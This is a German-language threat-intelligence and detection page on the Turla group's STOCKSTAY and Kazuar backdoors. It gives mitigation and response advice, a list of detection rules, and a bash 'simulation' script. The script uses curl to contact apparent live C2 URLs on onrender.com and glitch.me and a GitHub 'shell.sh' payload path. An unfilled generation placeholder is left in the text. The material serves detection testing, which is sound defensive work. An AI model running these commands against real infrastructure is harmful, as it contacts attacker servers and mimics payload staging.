Turla (Geheimer Blizzard): STOCKSTAY- und Kazuar-Hintertüren erklärt
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Turla ist eine langjährig etablierte, Russland-ausgerichtete APT-Gruppe, die mit dem FSB in Verbindung gebracht wird und für Cyber-Spionage-Operationen gegen Regierungs- und Militärziele bekannt ist. Die Gruppe verlässt sich auf maßgeschneiderte Malware, einschließlich der STOCKSTAY- und Kazuar-Backdoors, um den langfristigen Zugang in kompromittierten Umgebungen zu gewährleisten. Sie missbraucht auch häufig legitime Cloud-Dienste wie GitHub und Cloudflare, um Command-and-Control-Verkehr zu verschleiern.
Untersuchung
Der Bericht untersucht die Entwicklung der Malware-Toolsets von Turla, mit einem Schwerpunkt auf den Familien STOCKSTAY und Kazuar. Er analysiert die Techniken der Gruppe zur Infrastruktur-Entführung, ihre Nutzung von serverlosen Plattformen für Command and Control und ihre Fähigkeit, Schwachstellen wie WinRAR-Pfadtraversal auszunutzen. Die Untersuchung hebt auch Turla’s Einsatz von Umweltverschlüsselung hervor, um die Analyse durch Sandboxes zu minimieren.
Minderung
Organisationen sollten eine starke Überwachung der unbefugten Nutzung vertrauenswürdiger Web-Plattformen wie GitHub und Cloudflare einsetzen, wenn Verkehrsmuster abnormal erscheinen. Das sofortige Beheben von Schwachstellen wie CVE-2025-8088 ist unerlässlich, um unbefugte Dateizugriffe zu verhindern. Verteidiger sollten auch nach unbefugter Installation von Stammzertifikaten und verdächtiger PowerShell- oder VBScript-Ausführung Ausschau halten, die auf Turla-Aktivitäten hinweisen könnten.
Reaktion
Wenn Turla-Aktivitäten festgestellt werden, sollten Responder die betroffenen Hosts isolieren und nach unbefugten lokalen Administratorenkonten suchen. Eine detaillierte Überprüfung der Prozesstrees sollte durchgeführt werden, um DLL-Sideloading mit legitimen Binärdateien wie NVIDIA- oder Brother-Printer-Utilities aufzudecken. Netzwerk-Telemetrie sollte ebenfalls auf ungewöhnlichen WebSocket-Verkehr überprüft werden, und der Vertrauensspeicher der Maschine sollte auf verdächtige Zertifikatsänderungen überprüft werden.
Angriffsablauf
Erkennungen
Mögliche Persistenzpunkte [ASEPs – Software/NTUSER Hive] (via registry_event)
Anzeigen
LOLBAS WScript / CScript (via process_creation)
Anzeigen
Verwendung von Certutil für Datenkodierung und Zert-Operationen (via cmdline)
Anzeigen
Verdächtige PowerShell-Strings (via powershell)
Anzeigen
Möglicher Kontakt mit Dynamic DNS-Dienst (via dns)
Anzeigen
Kazuar PowerShell 3DES-Entschlüsselungsaktivität [Windows Powershell]
Anzeigen
Erkennung der Turla STOCKSTAY C2-Kommunikation über Secure WebSocket und GitHub Staging [Webserver]
Anzeigen
Simulationsausführung
Voraussetzung: Die Telemetrie- & Basislinien-Vorflugprüfung muss bestanden sein.
Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die darauf ausgelegt ist, die Erkennungsregel auszulösen. Die Befehle und das Narrativ MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die durch die Erkennungslogik erwartete Telemetrie genau zu erzeugen. Abstrakte oder nicht verwandte Beispiele führen zu Fehldiagnosen.
-
Angriffserzählung & Befehle: Ein Angreifer hat erfolgreich einen Einstiegspunkt etabliert und versucht nun, die C2-Kommunikation herzustellen. Um der Erkennung zu entgehen, verwenden sie einen ‚Living-off-the-land‘-Ansatz, indem sie auf eine serverlose Plattform zugreifen, die auf
onrender.comüber eine WebSocket-Verbindung gehostet ist. Gleichzeitig versuchen sie, eine sekundäre Stufe eines Payloads aus einem öffentlichen GitHub-Repository zu ziehen, um sich mit dem Entwicklerverkehr zu vermischen. Die Simulation wirdcurlandwscat(falls verfügbar) oder Standard-Webanfragen verwenden, um die spezifischen URL-Muster zu erzeugen, die in der Erkennungslogik definiert sind. -
Regressionstest-Skript: [Provide the exact, self-contained, and executable code snippet for the simulation.]
#!/bin/bash # Simulationsskript für STOCKSTAY C2 Erkennungsvalidierung echo "[+] Starten der Simulation: STOCKSTAY C2 TTPs" # 1. Auslöser: WebSocket C2 über Render (Spezifische URL) echo "[*] Simulieren der WebSocket-Verbindung zur bösartigen Render-URL..." curl -k "wss://google-ai-labs-it.onrender.com/ws" # 2. Auslöser: WebSocket C2 über Glitch (Spezifische URL) echo "[*] Simulieren der WebSocket-Verbindung zur bösartigen Glitch-URL..." curl -k "wss://wool-basalt-clock.glitch.me/ws" # 3. Auslöser: GitHub Staging (Breite Domain-Übereinstimmung) echo "[*] Simulieren des Payload-Stagings über GitHub..." curl -I "https://github.com/malicious-actor/payload-repo/raw/main/shell.sh" echo "[+] Simulation abgeschlossen. SIEM auf Alarme prüfen." -
Bereinigungskommandos:
# Keine persistenten Artefakte werden auf dem Host durch diese Simulation erstellt. # Sicherstellen, dass alle temporären Bash-Dateien entfernt werden, falls erstellt. rm -f simulation_stockstay.sh